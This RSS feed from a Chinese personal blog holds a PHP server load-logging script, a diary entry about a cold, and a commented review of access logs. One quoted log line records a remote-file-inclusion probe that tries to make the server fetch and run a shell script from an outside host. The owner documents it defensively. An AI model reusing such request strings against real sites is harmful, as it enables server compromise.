<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>一个程序猿 &#187; 日志</title>
	<atom:link href="http://www.sunboyu.cn/tag/%e6%97%a5%e5%bf%97/feed" rel="self" type="application/rss+xml" />
	<link>http://www.sunboyu.cn</link>
	<description>时光不会倒流,脚步总要前进</description>
	<pubDate>Tue, 31 Jan 2012 10:50:34 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>服务器性能负载记录工具</title>
		<link>http://www.sunboyu.cn/2009/01/14/%e6%9c%8d%e5%8a%a1%e5%99%a8%e6%80%a7%e8%83%bd%e8%b4%9f%e8%bd%bd%e8%ae%b0%e5%bd%95%e5%b7%a5%e5%85%b7.shtml</link>
		<comments>http://www.sunboyu.cn/2009/01/14/%e6%9c%8d%e5%8a%a1%e5%99%a8%e6%80%a7%e8%83%bd%e8%b4%9f%e8%bd%bd%e8%ae%b0%e5%bd%95%e5%b7%a5%e5%85%b7.shtml#comments</comments>
		<pubDate>Wed, 14 Jan 2009 09:15:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[LINUX]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[工具]]></category>

		<category><![CDATA[日志]]></category>

		<category><![CDATA[负载]]></category>

		<guid isPermaLink="false">http://www.sunboyu.cn/?p=486</guid>
		<description><![CDATA[服务器突然发生了崩溃，老板开始找我了。
找了半天居然没找到问题在哪里，一咬牙，写了个性能和负载的记录工具，再出事我可有记录了－,－&#124;&#124;
备注：只能在linux下用。
&#60; ?php
date_default_timezone_set('Asia/Shanghai');
define('SLEEPTIME',10);&#160; &#160; &#160; &#160;//10秒记录一次
$memfile&#160; = &#34;/proc/meminfo&#34;;
$loadfile = &#34;/proc/loadavg&#34;;
$logfile&#160; = sprintf(&#34;/var/www/html/log/%s.log&#34;,date('Y-m-d'));
while(1)
{
	$log = getload();
	$log .= getmem();
	$log .= mymem();
	$log .= &#34;\n\r&#34;.date(&#34;Y-m-d H:i:s&#34;);
	$log .= &#34;\n\r\n\r&#34;;
	$handle = fopen($logfile,'a');
	fwrite($handle,$log);
	fclose($handle);
	sleep(SLEEPTIME);
}
&#160;
function getload()&#160; &#160; &#160; //获得负载
{
	global $loadfile;
	return file_get_contents($loadfile);
}
function getmem()&#160; &#160; &#160; //获得内存占用
{
	global $memfile;
	$mem = file($memfile);
	return $mem[0];
}
function mymem()&#160; &#160; &#160; &#160;//程序本身内存占用
{
	$pid = getmypid();
	exec(&#34;ps -eo%mem,rss,pid &#124; grep $pid&#34;, $output);
&#160;&#160; &#160; &#160; &#160;$output = explode(&#34; &#34;, [...]]]></description>
			<content:encoded><![CDATA[<p>服务器突然发生了崩溃，老板开始找我了。</p>
<p>找了半天居然没找到问题在哪里，一咬牙，写了个性能和负载的记录工具，再出事我可有记录了－,－||</p>
<p>备注：只能在linux下用。</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">&lt; ?php</li>
<li>date_default_timezone_set('Asia/Shanghai');</li>
<li>define('SLEEPTIME',10);&nbsp; &nbsp; &nbsp; &nbsp;//10秒记录一次</li>
<li>$memfile&nbsp; = &quot;/proc/meminfo&quot;;</li>
<li>$loadfile = &quot;/proc/loadavg&quot;;</li>
<li>$logfile&nbsp; = sprintf(&quot;/var/www/html/log/%s.log&quot;,date('Y-m-d'));</li>
<li>while(1)</li>
<li>{</li>
<li>	$log = getload();</li>
<li>	$log .= getmem();</li>
<li>	$log .= mymem();</li>
<li>	$log .= &quot;\n\r&quot;.date(&quot;Y-m-d H:i:s&quot;);</li>
<li>	$log .= &quot;\n\r\n\r&quot;;</li>
<li>	$handle = fopen($logfile,'a');</li>
<li>	fwrite($handle,$log);</li>
<li>	fclose($handle);</li>
<li>	sleep(SLEEPTIME);</li>
<li>}</li>
<li>&nbsp;</li>
<li>function getload()&nbsp; &nbsp; &nbsp; //获得负载</li>
<li>{</li>
<li>	global $loadfile;</li>
<li>	return file_get_contents($loadfile);</li>
<li>}</li>
<li>function getmem()&nbsp; &nbsp; &nbsp; //获得内存占用</li>
<li>{</li>
<li>	global $memfile;</li>
<li>	$mem = file($memfile);</li>
<li>	return $mem[0];</li>
<li>}</li>
<li>function mymem()&nbsp; &nbsp; &nbsp; &nbsp;//程序本身内存占用</li>
<li>{</li>
<li>	$pid = getmypid();</li>
<li>	exec(&quot;ps -eo%mem,rss,pid | grep $pid&quot;, $output);</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$output = explode(&quot; &quot;, $output[0]);</li>
<li>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;return $output[1] * 1024;</li>
<li>}</li>
<li>?&gt;</li></ol></div>
]]></content:encoded>
			<wfw:commentRss>http://www.sunboyu.cn/2009/01/14/%e6%9c%8d%e5%8a%a1%e5%99%a8%e6%80%a7%e8%83%bd%e8%b4%9f%e8%bd%bd%e8%ae%b0%e5%bd%95%e5%b7%a5%e5%85%b7.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>感冒一周，今日好转</title>
		<link>http://www.sunboyu.cn/2008/11/27/%e6%84%9f%e5%86%92%e4%b8%80%e5%91%a8%ef%bc%8c%e4%bb%8a%e6%97%a5%e5%a5%bd%e8%bd%ac.shtml</link>
		<comments>http://www.sunboyu.cn/2008/11/27/%e6%84%9f%e5%86%92%e4%b8%80%e5%91%a8%ef%bc%8c%e4%bb%8a%e6%97%a5%e5%a5%bd%e8%bd%ac.shtml#comments</comments>
		<pubDate>Thu, 27 Nov 2008 11:30:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[纯属蛋疼]]></category>

		<category><![CDATA[日志]]></category>

		<guid isPermaLink="false">http://www.sunboyu.cn/?p=402</guid>
		<description><![CDATA[上周日去泡温泉，结果回来就感冒发烧，硬挺几天，没有就医，简单吃点药，差不多快抗过去了。看来感冒真的有周期性，看不看都得来上几天，这几天坚持天天吃水果，保证足够的能量，居然一直也撑下来了，工作也没怎么耽误，大喜。
今日终于有明显好转，虽然有点不利索，回家继续框架研究，争取年前能出个简单的框架系统。
预订的目标一定要实现，而且是在框架系统的基础上实现，工作量不会小，以后得抓紧时间了，LINUX系统一直是个大任务，最近一直没看，计划元旦补习。
学习的感觉真好，让自己感觉自己是个活人。
]]></description>
			<content:encoded><![CDATA[<p>上周日去泡温泉，结果回来就感冒发烧，硬挺几天，没有就医，简单吃点药，差不多快抗过去了。看来感冒真的有周期性，看不看都得来上几天，这几天坚持天天吃水果，保证足够的能量，居然一直也撑下来了，工作也没怎么耽误，大喜。</p>
<p>今日终于有明显好转，虽然有点不利索，回家继续框架研究，争取年前能出个简单的框架系统。</p>
<p>预订的目标一定要实现，而且是在框架系统的基础上实现，工作量不会小，以后得抓紧时间了，LINUX系统一直是个大任务，最近一直没看，计划元旦补习。</p>
<p>学习的感觉真好，让自己感觉自己是个活人。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sunboyu.cn/2008/11/27/%e6%84%9f%e5%86%92%e4%b8%80%e5%91%a8%ef%bc%8c%e4%bb%8a%e6%97%a5%e5%a5%bd%e8%bd%ac.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>人生就像网站，指不定谁捅你一刀。</title>
		<link>http://www.sunboyu.cn/2008/07/04/%e4%ba%ba%e7%94%9f%e5%b0%b1%e5%83%8f%e7%bd%91%e7%ab%99%ef%bc%8c%e6%8c%87%e4%b8%8d%e5%ae%9a%e8%b0%81%e6%8d%85%e4%bd%a0%e4%b8%80%e5%88%80%e3%80%82.shtml</link>
		<comments>http://www.sunboyu.cn/2008/07/04/%e4%ba%ba%e7%94%9f%e5%b0%b1%e5%83%8f%e7%bd%91%e7%ab%99%ef%bc%8c%e6%8c%87%e4%b8%8d%e5%ae%9a%e8%b0%81%e6%8d%85%e4%bd%a0%e4%b8%80%e5%88%80%e3%80%82.shtml#comments</comments>
		<pubDate>Fri, 04 Jul 2008 05:20:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[技术存档]]></category>

		<category><![CDATA[log]]></category>

		<category><![CDATA[分析]]></category>

		<category><![CDATA[日志]]></category>

		<guid isPermaLink="false">http://www.sunboyu.cn/?p=178</guid>
		<description><![CDATA[发现个德国鬼子：
85.236.38.117 - - [04/Jul/2008:05:30:48 +0800] &#8220;GET //phpshell.phphttp://sv-hbc.nl/db/cgi/idscan6?? HTTP/1.1&#8243; 404 12684 &#8220;-&#8221; &#8220;libwww-perl/5.805&#8243;
ip138.com IP查询(搜索IP地址的地理位置)
您查询的IP:85.236.38.117
* 本站主数据：德国
* 查询结果2：德国
* 查询结果3：德国
69.36.158.7 - - [25/Jun/2008:16:34:44 +0800] &#8220;GET /?feed=rss2 HTTP/1.0&#8243; 200 31085 &#8220;-&#8221; &#8220;Moreoverbot/5.00 (+http://www.moreover.com)&#8221;
新的搜索引擎？
202.108.7.219 - - [20/Jun/2008:04:12:29 +0800] &#8220;GET /?disType=0&#38;job=category&#38;seekname=2 HTTP/1.1&#8243; 200 32787 &#8220;-&#8221; &#8220;Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )&#8221;
有道，算是熟人
61.135.168.127 - - [20/Jun/2008:05:39:56 +0800] &#8220;GET / HTTP/1.1&#8243; 200 32750 &#8220;-&#8221; &#8220;Baiduspider+(+http://www.baidu.com/search/spider.htm)&#8221;
66.249.67.198 - [...]]]></description>
			<content:encoded><![CDATA[<p>发现个德国鬼子：</p>
<p>85.236.38.117 - - [04/Jul/2008:05:30:48 +0800] &#8220;GET //phpshell.phphttp://sv-hbc.nl/db/cgi/idscan6?? HTTP/1.1&#8243; 404 12684 &#8220;-&#8221; &#8220;libwww-perl/5.805&#8243;</p>
<p>ip138.com IP查询(搜索IP地址的地理位置)<br />
您查询的IP:85.236.38.117</p>
<p>* 本站主数据：德国<br />
* 查询结果2：德国<br />
* 查询结果3：德国</p>
<p>69.36.158.7 - - [25/Jun/2008:16:34:44 +0800] &#8220;GET /?feed=rss2 HTTP/1.0&#8243; 200 31085 &#8220;-&#8221; &#8220;Moreoverbot/5.00 (+http://www.moreover.com)&#8221;<br />
新的搜索引擎？</p>
<p>202.108.7.219 - - [20/Jun/2008:04:12:29 +0800] &#8220;GET /?disType=0&amp;job=category&amp;seekname=2 HTTP/1.1&#8243; 200 32787 &#8220;-&#8221; &#8220;Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )&#8221;<br />
有道，算是熟人</p>
<p>61.135.168.127 - - [20/Jun/2008:05:39:56 +0800] &#8220;GET / HTTP/1.1&#8243; 200 32750 &#8220;-&#8221; &#8220;Baiduspider+(+http://www.baidu.com/search/spider.htm)&#8221;<br />
66.249.67.198 - - [20/Jun/2008:05:25:34 +0800] &#8220;GET /upfiles/2008/06/1-300&#215;225.jpg HTTP/1.1&#8243; 200 15048 &#8220;-&#8221; &#8220;Googlebot-Image/1.0&#8243;<br />
百度google，这哥俩一起来了</p>
<p>65.55.213.107 - - [18/Jun/2008:13:38:12 +0800] &#8220;GET /upfiles/2008/06/img_3822.jpg HTTP/1.0&#8243; 200 105436 &#8220;-&#8221; &#8220;msnbot-media/1.0 (+http://search.msn.com/msnbot.htm)&#8221;<br />
谢谢盖茨捧场</p>
<p>124.207.144.194 - - [18/Jun/2008:13:51:01 +0800] &#8220;GET / HTTP/1.1&#8243; 200 32901 &#8220;http://www.coolcode.cn/?action=tags&amp;item=WordPress&amp;page=2&#8243; &#8220;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)&#8221;<br />
马哥这里来串门的</p>
<p>202.160.180.201 - - [16/Jun/2008:16:28:02 +0800] &#8220;GET /robots.txt HTTP/1.0&#8243; 302 0 &#8220;-&#8221; &#8220;Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)&#8221;<br />
雅虎来的时候会敲门的，很文明</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sunboyu.cn/2008/07/04/%e4%ba%ba%e7%94%9f%e5%b0%b1%e5%83%8f%e7%bd%91%e7%ab%99%ef%bc%8c%e6%8c%87%e4%b8%8d%e5%ae%9a%e8%b0%81%e6%8d%85%e4%bd%a0%e4%b8%80%e5%88%80%e3%80%82.shtml/feed</wfw:commentRss>
		</item>
	</channel>
</rss>

